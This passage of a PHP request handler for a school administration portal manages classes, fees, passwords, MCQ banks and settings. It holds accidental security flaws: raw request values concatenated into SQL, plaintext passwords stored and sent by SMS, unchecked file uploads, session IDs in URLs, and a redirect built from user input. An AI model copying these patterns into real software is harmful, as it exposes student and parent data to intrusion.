.$_REQUEST['mother_name']."',mother_qualification='".$_REQUEST['mother_qualification']."',mother_activity='".$_REQUEST['mother_activity']."',mother_designation='".$_REQUEST['mother_designation']."',mother_Bnumber='".$_REQUEST['mother_Bnumber']."',mother_cell='".$_REQUEST['mother_cell']."',mother_Baddress='".$_REQUEST['mother_Baddress']."',gardian_designation='".$_REQUEST['gardian_designation']."',gardian_Bnumber='".$_REQUEST['gardian_Bnumber']."',gardian_email='".$_REQUEST['gardian_email']."',school_leaving='".$_REQUEST['school_leaving']."',cast='".$_REQUEST['cast']."',father_cellno='".$_REQUEST['father_cellno']."',locality='".$_REQUEST['Locality']."'  where student_id=".$_REQUEST['id'];


	//echo $sql;

	$m->query($sql);
	$_SESSION['upsuccess']=1;	


	header("location:../student_profile.php?".session_id().session_id().session_id()."&student=".$_REQUEST['id']."&qr=".$fname."&aq=".session_id().session_id());

	}

	else

	{
    	header("location:../add_student.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");
  }





}  // main 





















if(($_REQUEST['action']=='AddClass'))

{





if($_REQUEST['name']!='')

{

	$m->where("branch_id", utf8_decode_all($_SESSION['branch']));

	$m->where("Class_Name", utf8_decode_all($_REQUEST['name']));



	

	$rec = $m->get("edu_class_config");





	if($m->count==1)

	{ 

		$_SESSION['Custcerror_msg']=1;

		header("location:../manage_classes.php?".session_id().session_id().session_id().session_id().session_id()."&cerror_msg=1");

	}



	else 

	{







	$data = array(

		'Class_Name' => utf8_decode_all($_REQUEST['name']),

		'branch_id' => utf8_decode_all($_SESSION['branch'])

	);



	 // echo "<pre>"; print_r($data); echo "</pre>";



	 $result = $m->insert('edu_class_config',$data);



	 $class_id= $m->getInsertId();



	$data = array(

		'class_id' => utf8_decode_all($class_id),

		'tution_fee' => utf8_decode_all($_REQUEST['fee']),

		'session_id' => utf8_decode_all($_SESSION['current_session']),

		'branch_id' => utf8_decode_all($_SESSION['branch'])

	);





	 

	 $result = $m->insert('eduportal_class_fee_details',$data);





	 // now adding user audit detail



					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Add Class , Class Name=".$_REQUEST['name'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);





	 $_SESSION['Custcsuccess_msg']=1;



	 header("location:../manage_classes.php?".session_id().session_id().session_id().session_id().session_id()."&usuccess_msg=1");

	}  // ending else

 

}



else

{

	header("location:../manage_classes.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

}





}  // main 











if(($_REQUEST['action']=='AddSection'))

{





if($_REQUEST['name']!='')

{

	

	

	$m->where("class_id", utf8_decode_all($_REQUEST['class_id']));

	$m->where("section_name", utf8_decode_all($_REQUEST['name']));

	

	$rec = $m->get("edu_adm_section_detail");





	if($m->count==1)

	{ 

		$_SESSION['Custcerror_msg']=1;

		header("location:../manage_sections.php?".session_id().session_id().session_id().session_id().session_id()."&cerror_msg=1");

	}



	else 

	{





	$data = array(

		'section_name' => utf8_decode_all($_REQUEST['name']),

		'class_id' => $_REQUEST['class_id'],

		'branch_id' => utf8_decode_all($_SESSION['branch'])

	);



	 // echo "<pre>"; print_r($data); echo "</pre>";



	 $result = $m->insert('edu_adm_section_detail',$data);





	 // now adding user audit detail



					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Add Section , Section Name=".$_REQUEST['name'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



	 $_SESSION['Custcsuccess_msg']=1;

	  header("location:../manage_sections.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&usuccess_msg=1");

	}  // ending else

 
}



else

{

	header("location:../manage_classes.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

}





}  // main 







if(($_REQUEST['action']=='EditSectionDetail'))

{





if($_REQUEST['name']!='')

{

	



	$data = array(

		'section_name' => utf8_decode_all($_REQUEST['name']),

		'class_id' => utf8_decode_all($_REQUEST['class_id'])

	);



	// print_r($data);



	 $m->where("section_id", utf8_decode_all($_REQUEST['eid']));

	 $result = $m->update('edu_adm_section_detail',$data);



	 // now adding user audit detail



					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Edit Section , Section Name=".$_REQUEST['name'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



	 $_SESSION['Custcsuccess_msg']=1;

	  header("location:../manage_sections.php?".session_id().session_id()."&class_id=".$_REQUEST['class_id']."&s".session_id().session_id().session_id()."&usuccess_msg=1");

	

 

}



else

{

	header("location:../manage_classes.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

}





}  // main 











if(($_REQUEST['action']=='DeleteSection'))

{





	// print_r($data);



	 $m->where("section_id", $_REQUEST['id']);

	 $result = $m->delete('edu_adm_section_detail');



	 // now adding user audit detail



					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Edit Section , Section Name=".$_REQUEST['name'];



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



	 $_SESSION['Custcsuccess_msg']=1;

	  header("location:../manage_sections.php?".session_id().session_id()."&class_id=".$_REQUEST['class_id']."&s".session_id().session_id().session_id()."&usuccess_msg=1");

	



}  // main 







if(($_REQUEST['action']=='StudentFeeSearch'))

{

	

	if($_REQUEST['rollno']!=null){

		

	  header("location:../pay_fee.php?".session_id().session_id().session_id().session_id().session_id()."&rollno=".$_REQUEST['rollno']."#searchid");

		

	}



	

}





if(($_REQUEST['action']=='StudentFeeStructure'))

{



	

	$m->where("student_id", utf8_decode_all($_REQUEST['student_id']));

	$m->where("session_id", utf8_decode_all($_SESSION['current_session']));

	$m->where("branch_id", utf8_decode_all($_SESSION['branch']));

	$record = $m->get("eduportal_student_fee_structure");


	

    // now update the fee details into table 

	$data = array(

		'class_id' => utf8_decode_all($_REQUEST['class_id']),

		'std_tution_fee' => utf8_decode_all($_REQUEST['tution_fee']),

		'std_transport_fee' => utf8_decode_all($_REQUEST['transport_fee']),

		'branch_id' => utf8_decode_all($_SESSION['branch']),

		'session_id' => utf8_decode_all($_SESSION['current_session']),

		'student_id' => utf8_decode_all($_REQUEST['student_id']),

		'std_outstanding_blc' => utf8_decode_all($_REQUEST['std_outstanding_blc']),

		'std_misc_fee' => utf8_decode_all($_REQUEST['std_misc_fee']),

		'discount_reason' => utf8_decode_all($_REQUEST['discount_reason']));





		//echo "<pre>"; print_r($data); echo "</pre>";

		// check if fee is saved already then only update otherwise insert it as new 

	



		if(count($record)>0){

		

			$m->where("student_id", utf8_decode_all($_REQUEST['student_id']));

			$m->where("session_id", utf8_decode_all($_SESSION['current_session']));

			$m->where("branch_id", utf8_decode_all($_SESSION['branch']));



			$m->update('eduportal_student_fee_structure',$data);



			//echo "Helllllo update";

		}else {



			//echo "Helllllo";



			$m->insert('eduportal_student_fee_structure',$data);



		}



		// now adding user audit detail


	$oldData="Balance (Initial)".$record['std_outstanding_blc'].", Transport Fee ".$record[0]['std_transport_fee'].", Course Fee ".$record[0]['std_misc_fee'].", Montly Fee ".$record[0]['std_tution_fee'].", Fee Discount Reason ".$record[0]['discount_reason'];

	$newData="Balance (Initial)".$_REQUEST[0]['std_outstanding_blc'].", Transport Fee ".$_REQUEST['transport_fee'].", Course Fee ".$_REQUEST['std_misc_fee'].", Montly Fee ".$_REQUEST['tution_fee'].", Fee Discount Reason ".$_REQUEST['discount_reason'];



					$m->where("student_id", $_REQUEST['student_id']);

					$sec = $m->get("edu_student_details");



					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");


					

					$Class_Name=$rec[0]['Class_Name'];

					$student_name=$sec[0]['first_name'];

					$username=$_SESSION['username'];


					$action="Edit Student Fee";

	  				
	  				$details="User: ".$username.", Update ".$student_name." Fee, <br> Before Update: <br> ".$oldData." After Update: <br>".$newData ;

	  				date_default_timezone_set("Asia/Karachi");


					$data = array(

					'user_id' => $_SESSION['user_id'],

					'module_id' => 14,

					'action' => $action,

					'details' => $details,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);

					//print_r($data);

					$result = $m->insert('eduportal_users_auditlog_detail',$data);





		$_SESSION['FeeUpdated']=1;

	

		

	  	header("location:../pay_fee.php?".session_id().session_id().session_id()."&successmsg=1&student=".$_REQUEST['student_id']."&ss=".session_id().session_id());





}







if($_REQUEST['action']=='ChangePassword')

{

//print_r($_REQUEST);

	$data = array(

		

		'user_password' => $_REQUEST['password']);

	 

	 	//print_r($data);

	 $m->where("user_id", $_SESSION['user_id']);

     $m->where("branch_id", $_SESSION['branch']);

	 $result =  $m->update ('edu_user_config', $data);	

	



 	  $user_name=$_SESSION['username'];

	  $user_password=$_REQUEST['password'];

      $number=$_REQUEST['cell_no'];

    

  $message ="Dear, 

".$user_name."



Your Password Changed, New Password Is: ".$user_password." 

From:".$_SESSION['branch_name']; 

 

 $result=sendSMSFuction($number,$message,$_SESSION['brand']);



 //  print_r($result);

 //  echo $_SESSION['brand'];

    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

    $result =  $m->insert ('edu_messages_details', $data);

   

    //print_r($data);









	header("location:../logout.php?".session_id().session_id().session_id().session_id().session_id());

}











if(($_POST['action']=='AddBulkMCQquestion'))

{

//print_r($_POST);



			

	  //  echo "<pre>"; print_r($_POST); echo "</pre>";



		for($i=0;$i<count($_POST['questions']);$i++){

			

			$questions=$_POST['questions'][$i];

			$answer=$_POST['answer'][$i];

			$class_id=$_POST['class_id'];

			$subject_id=$_POST['subject_id'];

			$branch=$_SESSION['branch'];

			$chapter_id=$_POST['chapter_id'];

			





	if($_POST['class_id']!=NULL && $_POST['chapter_id'] !=NULL && $questions!=NULL ){

		



	

				$data = array(

					'class_id' => $class_id,

					'subject_id' => $subject_id,

					'chapter_id' => $chapter_id,

					'questions' => $questions,

					'answer' => $answer,

					'branch_id' => $_SESSION['branch'],

					);

	  				//print_r($data);



					$result = $m->insert('eduportal_mcq_question_pool',$data);



	  				$id=$m->getInsertId();

	

	  			$options = array("A","B","C","D");



	  			for($k=0; $k<count($options); $k++) {

	  				

	  				$data1 = array(

					

					'option_details' => $_POST['option'.$options[$k]][$i],

					'optionABCD' => $options[$k],

					'question_id' => $id

					);



					$result = $m->insert('eduportal_mcq_question_options',$data1);



	  	}

 				 				

				

		}	// closing if condition

	





		}  // closing loop





			$_SESSION['success']=1;	

		header("location:../create_mcqs.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&section=".$_POST['section']."&session=".$_POST['session']);

	

}  // main 









if(($_POST['action']=='EditMCQsQuestion'))

{





$data = array(

		'questions' => $_POST['questions'],

		'branch_id' => $_SESSION['branch'],

		'answer' => $_POST['answer']

		);



		//echo "<pre>"; print_r($data); echo "</pre>";

						

			$m->where ("question_id", $_POST['question_id']);

			$result = $m->update('eduportal_mcq_question_pool',$data);

			//print_r($data);



			

	// echo "<pre>"; print_r($_POST); echo "</pre>";

	

	    $m->where ("question_id", $_POST['question_id']);

		$m->delete('eduportal_mcq_question_options');



	for($i=0;$i<count($_POST['option_details']);$i++){

			

		$options = array("A","B","C","D");



	    $data1 = array(

		'option_details' => $_POST['option_details'][$i],

		'question_id' => $_POST['question_id'],

		'optionABCD' => $options[$i]

		

		);



		//echo "<pre>"; print_r($data); echo "</pre>";

						

			//$m->where ("question_id", $_POST['question_id']);

			$result = $m->insert('eduportal_mcq_question_options',$data1);

			//print_r($result);

		

	} // ending loop



	$_SESSION['fee_settings']=1;	

	

	header("location:../mcqs.php?".session_id().session_id().session_id().session_id().session_id());



}  // main 









if(($_REQUEST['action']=='DeleteQuestion'))

{



	if($_REQUEST['question']!='')

	{

		

	    $m->where("question_id", $_REQUEST['question']);

     	$result = $m-> delete('eduportal_mcq_question_pool');



     	$m->where("question_id", $_REQUEST['question']);

     	$result = $m-> delete('eduportal_mcq_question_options');

     	



		$_SESSION['deleteexp']=1;

		header("location:../mcqs.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../mcqs.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}			// end delete Expense code








if(($_POST['action']=='rollNumberSlips'))

{

   $experience=$_POST['experience'];

	//print_r($_POST);
	$section;
	if($_POST['section']!=NULL){
    
    	$section=$_POST['section'];

    } else {
     
     $section="All";
    }


	 $_SESSION['experience']=$experience;

	header("location:../print_rollnumber_slip.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_POST['session']."&term_id=".$_POST['term_id']."&class_id=".$_POST['class_id']."&fee=".$_POST['fee']."&section=".$section);

}





if(($_POST['action']=='UpdateSchoolDetails'))

{
	//print_r($_POST);

		  if($_FILES['img_file']['name']!=""){

				$target_path = "../img/"; 

				$rand=rand(00000,999999);

				$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

				$img_src =  basename($rand.$_FILES['img_file']['name']);

				$tmp = $_FILES['img_file']['tmp_name'];

				move_uploaded_file($tmp, $target_path);

			}   else{ $img_src =$_REQUEST['old_file']; }


			$data = array(

					'Branch_Name' => utf8_decode_all($_POST['Branch_Name']),

					'logo' => utf8_decode_all($img_src),

					'Branch_Location' => utf8_decode_all($_POST['Branch_Location']),

					'branch_contact' => utf8_decode_all($_POST['branch_contact']),

					'Owner_Name' => utf8_decode_all($_POST['Owner_Name']),

					'Owner_no' => utf8_decode_all($_POST['Owner_no']),

					'Branch_Owner_Email' => utf8_decode_all($_POST['Branch_Owner_Email']),

					//'late_fee_fine' => utf8_decode_all($_POST['late_fee_fine']),

					'msg_name' => utf8_decode_all($_POST['msg_name']),

					'current_session' => utf8_decode_all($_POST['current_session']),

					'app_link' => utf8_decode_all($_POST['app_link']),

					'facebook_link' => utf8_decode_all($_POST['facebook_link']),

					'admission_instructions' => $_POST['admission_instructions'],

					'paid_salary_msg' => utf8_decode_all($_POST['paid_salary_msg']),

					'login_alert_sms' => utf8_decode_all($_POST['login_alert_sms']),

					'stds_welcome_msg' => utf8_decode_all($_POST['stds_welcome_msg'])

				);

		//echo "<pre>"; print_r($data); echo "</pre>";

		 $m->where("branch_id", $_SESSION['branch']);
		 $m->update('edu_branch_config',$data);

		 if($_POST['app_link']!=NULL){

		 	$_SESSION['app_link']=$_POST['app_link'];
		 }

		 $_SESSION['branch_name']=$_POST['Branch_Name'];

		 $_SESSION['current_session']=$_POST['current_session'];

		 $_SESSION['school_data']=1;	
		header("location:../settings.php?".session_id().session_id().session_id());

}  // main if





if(($_POST['action']=='Update_Fee_Details'))

{
//print_r($_POST);

		$m->where ("branch_id", $_SESSION['branch']);

		$old =  $m->get ('edu_branch_bank_details');

		//print_r(count($old));
			$data = array(

			'bank_branch' => $_REQUEST['bank_branch'],

			'bank_accountno' => $_REQUEST['bank_accountno'],

			'bank_accountitle' => $_REQUEST['bank_accountitle'],

			'branch_id' => $_SESSION['branch']
			);

		if(count($old)>0) {		

			$m->where ("branch_id", $_SESSION['branch']);

			$m->update('edu_branch_bank_details',$data);

		} else {

			$result = $m->insert('edu_branch_bank_details',$data);
		}


		 

			$data1 = array(
					

				'fine_type' => utf8_decode_all($_POST['fine_type']),

				'late_fee_fine' => utf8_decode_all($_POST['late_fee_fine']),

				'misc_title' => utf8_decode_all($_POST['misc_title']),

				'fee_vouc_note' => $_POST['fee_vouc_note'],

				'rollNo_slip_note' => $_POST['rollNo_slip_note'],

				'default_pay_date' => utf8_decode_all($_POST['default_pay_date']),

				'easypaisa_account_title' => $_POST['easypaisa_account_title'],

				'easypaisa_account_no' => $_POST['easypaisa_account_no'],

				'jazzcash_account_title' => $_POST['jazzcash_account_title'],

				'jazzcash_account_no' => $_POST['jazzcash_account_no'],

				'fee_recv_sms' => utf8_decode_all($_POST['fee_recv_sms'])

				);
			
			 $m->where("branch_id", $_SESSION['branch']);
			 $m->update('edu_branch_config',$data1);

			/*'easypaisa_account_title' => utf8_decode_all($_POST['easypaisa_account_title']),

					'easypaisa_account_no' => utf8_decode_all($_POST['easypaisa_account_no']),

					'jazzcash_account_title' => utf8_decode_all($_POST['jazzcash_account_title']),

					'jazzcash_account_no' => utf8_decode_all($_POST['jazzcash_account_no']),

					'double_confirmation_sms_to_principal' => utf8_decode_all($_POST['principalSMS']),*/


		//echo "<pre>"; print_r($data1); echo "</pre>";

		 
		 $_SESSION['branch_name']=$_POST['Branch_Name'];

		 /*$_SESSION['current_session']=$_POST['current_session'];*/

		 $_SESSION['school_data']=1;	
		header("location:../update_fee_settings.php?".session_id().session_id().session_id());

}  // main if










if(($_POST['action']=='UpdateZoomSetting'))

{
//print_r($_POST);			

			$data = array(

					
					'Zoom_API_Key' => utf8_decode_all($_POST['Zoom_API_Key']),

					'Zoom_Email' => utf8_decode_all($_POST['Zoom_Email']),

					'Zoom_API_Secret' => utf8_decode_all($_POST['Zoom_API_Secret'])

				);

		//echo "<pre>"; print_r($data); echo "</pre>";

		 $m->where("branch_id", $_SESSION['branch']);
		 $m->update('edu_branch_config',$data);
		
		 $_SESSION['school_data']=1;	
		header("location:../zoomAPI_Setting.php?".session_id().session_id().session_id());

}  // main if




if(($_POST['action']=='UpdatePayRollLeave'))

{
//print_r($_POST);

				  

			$data = array(			
					'Leave_deduction' => utf8_decode_all($_POST['leaveDec']),

					'Leave_Percentage' => utf8_decode_all($_POST['Leave_Percentage']),

					'no_of_leaves' => utf8_decode_all($_POST['noOfLeave']),

					'Absent_deduction' => utf8_decode_all($_POST['AbsentDec']),

					'Absent_percentage' => utf8_decode_all($_POST['absent_percentage']),

					'late_arrival_deduction' => utf8_decode_all($_POST['lateDec']),		
					
					'no_of_late_arrival' => utf8_decode_all($_POST['noOfLate']),

					'late_arrival_percentage' => utf8_decode_all($_POST['lateArival_percentage'])

				);

		//echo "<pre>"; print_r($data); echo "</pre>";

		 $m->where("branch_id", $_SESSION['branch']);
		 $m->update('edu_branch_config',$data);

		

		 $_SESSION['school_data']=1;	
		header("location:../payroll_setting.php?".session_id().session_id().session_id());

}



if(($_REQUEST['action']=='EditClassDetail'))

{



// check if fee is saved already then only update other wise insert it as new 



	$data = array(

		'Class_Name' => utf8_decode_all($_REQUEST['name'])

	);



	 $m->where("Class_Id", utf8_decode_all($_REQUEST['eid']));

	 $m->where("branch_id", utf8_decode_all($_SESSION['branch']));

	  

	 $result = $m->update('edu_class_config',$data);





	 // now updating the standard fee of class



	  $m->where("class_id", utf8_decode_all($_REQUEST['eid']));

	  $m->where("branch_id", utf8_decode_all($_SESSION['branch']));

	  $m->where("session_id", utf8_decode_all($_SESSION['current_session']));



	  $fee_details = $m->get('eduportal_class_fee_details');





	$data = array(

		'tution_fee' => utf8_decode_all($_REQUEST['fee']),

		'class_id' => utf8_decode_all($_REQUEST['eid']),

		'branch_id' => utf8_decode_all($_SESSION['branch']),

		'session_id' => utf8_decode_all($_SESSION['current_session'])

		);



	//print_r($fee_details);



	 if(count($fee_details)>0){



	 	//echo "update fee";

	

		 $m->where("class_id", utf8_decode_all($_REQUEST['eid']));

		 $m->where("branch_id", utf8_decode_all($_SESSION['branch']));

		

		 $m->update('eduportal_class_fee_details',$data);



	 }else {



	 	 //echo "insert fee";

		 $m->insert('eduportal_class_fee_details',$data);

	 }









	header("location:../manage_classes.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");



}  // main 







if(($_POST['action']=='AwardListParameter'))

{

	//print_r($_POST);

	$_SESSION['done']=1;

	header("location:../print_report_list.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&orderBy=".$_POST['orderBy']."&show=".$_POST['show']);

}


if(($_POST['action']=='AwardListParameterOnePage'))

{

	//print_r($_POST);

	$_SESSION['done']=1;

	header("location:../print_report_list_single.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&orderBy=".$_POST['orderBy']."&show=".$_POST['show']);

}







if(($_POST['action']=='AwardListAllParameter'))

{



	$_SESSION['done']=1;

	header("location:../print_all_awardlist.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&orderBy=".$_POST['orderBy']."&show=".$_POST['show']);

}





if(($_POST['action']=='StudentReportCard'))

{


	header("location:../print_reportcard1.php?".session_id().session_id().session_id().session_id().session_id()."&term_id=".$_POST['term_id']."&pos=".$_POST['pos']."&out_of=".$_POST['out_of']."&student_id=".$_POST['student_id']."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&percantage=".$_POST['percantage']."&grade=".$_POST['grade']."&position=".$_POST['position']."&over_all=".$_POST['over_all']."&remarks=".$_POST['remarks']."&issuing_date=".$_POST['issuing_date']."&teacher_remarks=".$_POST['teacher_remarks']);

}


if(($_POST['action']=='StudentOldReportCard'))

{


	header("location:../print_oldstudent_reportcard.php?".session_id().session_id().session_id().session_id().session_id()."&term_id=".$_POST['term_id']."&pos=".$_POST['pos']."&out_of=".$_POST['out_of']."&student_id=".$_POST['student_id']."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&percantage=".$_POST['percantage']."&grade=".$_POST['grade']."&position=".$_POST['position']."&over_all=".$_POST['over_all']."&remarks=".$_POST['remarks']."&issuing_date=".$_POST['issuing_date']."&teacher_remarks=".$_POST['teacher_remarks']);

}



if(($_POST['action']=='StudentAllReportCard'))

{


	header("location:../".$_POST['page']."?".session_id().session_id().session_id().session_id().session_id()."&term_id=".$_POST['term_id']."&pos=".$_POST['pos']."&out_of=".$_POST['out_of']."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&percantage=".$_POST['percantage']."&grade=".$_POST['grade']."&position=".$_POST['position']."&sec_pos=".$_POST['sec_pos']."&over_all=".$_POST['over_all']."&remarks=".$_POST['remarks']."&issuing_date=".$_POST['issuing_date']."&teacher_remarks=".$_POST['teacher_remarks']."&header=".$_POST['header']."&attendance=".$_POST['attendance']."&display_sub=".$_POST['display_sub']);

}



if(($_POST['action']=='FeeHistory'))

{


  $session=$_POST['session'];   

  $months=$_POST['months'];   

  $std=$_POST['studentid'];

  $terms1=implode(",",$months);



$_SESSION['done']=1;

	header("location:../print_monthly_fee_report.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_POST['session']."&std=".$_POST['studentid']."&months=".$terms1);

}



if(($_POST['action']=='FamilyFeeHistory'))

{


  $session=$_POST['session'];   

  $months=$_POST['months'];   

  $Fcell=$_POST['familyCellNo'];

  $terms1=implode(",",$months);



$_SESSION['done']=1;

	header("location:../print_monthly_family_fee_report.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_POST['session']."&std=".$_POST['studentid']."&familyCell=".$_POST['familyCellNo']."&CodeCell=".$_POST['CodeCell']."&months=".$terms1);

}


if(($_POST['action']=='PrintResultSheet'))

{

//print_r($_POST);

	if($_POST['order']=="position"){

		header("location:../print_exam_report1.php?".session_id().session_id().session_id().session_id().session_id()."&term_id=".$_POST['term_id']."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&rollno=".$_POST['rollno']."&adm=".$_POST['adm']."&obtained=".$_POST['obtained']."&percentage=".$_POST['percentage']."&grade=".$_POST['grade']."&position=".$_POST['position']."&cell_no=".$_POST['cell_no']);

	} else{

		header("location:../print_exam_report.php?".session_id().session_id().session_id().session_id().session_id()."&term_id=".$_POST['term_id']."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&rollno=".$_POST['rollno']."&obtained=".$_POST['obtained']."&percentage=".$_POST['percentage']."&grade=".$_POST['grade']."&position=".$_POST['position']."&order=".$_POST['order']."&cell_no=".$_POST['cell_no']);
	}


}



if(($_POST['action']=='PrintOldResultSheet'))

{

//print_r($_POST);

	if($_POST['order']=="position"){

		header("location:../print_old_exam_report.php?".session_id().session_id().session_id().session_id().session_id()."&term_id=".$_POST['term_id']."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&rollno=".$_POST['rollno']."&obtained=".$_POST['obtained']."&percentage=".$_POST['percentage']."&grade=".$_POST['grade']."&position=".$_POST['position']);

	} else{

		header("location:../print_old_exam_report.php?".session_id().session_id().session_id().session_id().session_id()."&term_id=".$_POST['term_id']."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&rollno=".$_POST['rollno']."&obtained=".$_POST['obtained']."&percentage=".$_POST['percentage']."&grade=".$_POST['grade']."&position=".$_POST['position']."&order=".$_POST['order']);
	}


}



if(($_POST['action']=='colorscheme'))

{

//print_r($_POST);

	$_SESSION['color']=$_POST['color'];

	header("location:../print_students_cards.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&section=".$_POST['section']);

}


if(($_POST['action']=='StudentCardcolorscheme'))

{

//print_r($_POST);

	$_SESSION['color']=$_POST['color'];

	header("location:../print_profile_students_cards.php?".session_id().session_id().session_id().session_id().session_id()."&student_id=".$_POST['student_id']."&section=".$_POST['section']);

}


if(($_POST['action']=='colorschemeTeacherCard'))

{

//print_r($_POST);

	$_SESSION['color']=$_POST['color'];

	header("location:../print_staff_cards.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&section=".$_POST['section']);

}



if(($_POST['action']=='RollNumberSlipStatus'))

{

	//print_r($_POST);

	if ($_POST['fee']=="All") {


	header("location:../rollnumber_slips_withoutFee.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_POST['session']."&term_id=".$_POST['term_id']."&class_id=".$_POST['class_id']."&section=".$_POST['section']."&fee=".$_POST['fee']."&month=".$_POST['month']."&syllabus=".$_POST['syllabus']);
		

	} else {


	header("location:../rollnumber_slips.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_POST['session']."&term_id=".$_POST['term_id']."&class_id=".$_POST['class_id']."&section=".$_POST['section']."&fee=".$_POST['fee']."&month=".$_POST['month']."&syllabus=".$_POST['syllabus']);


	}


	

}




if(($_POST['action']=='ClassWiseRollNumberSlipStatus'))

{

	//print_r($_POST);

	if ($_POST['fee']=="All") {


	header("location:../rollnumber_slips_withoutFee.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_POST['session']."&term_id=".$_POST['term_id']."&class_id=".$_POST['class_id']."&section=".$_POST['section']."&fee=".$_POST['fee']."&month=".$_POST['month']."&syllabus=".$_POST['syllabus']);
		

	} else {


	header("location:../rollnumber_slips.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_POST['session']."&term_id=".$_POST['term_id']."&class_id=".$_POST['class_id']."&section=".$_POST['section']."&fee=".$_POST['fee']."&month=".$_POST['month']."&syllabus=".$_POST['syllabus']);


	}


	

}

// backup file

?>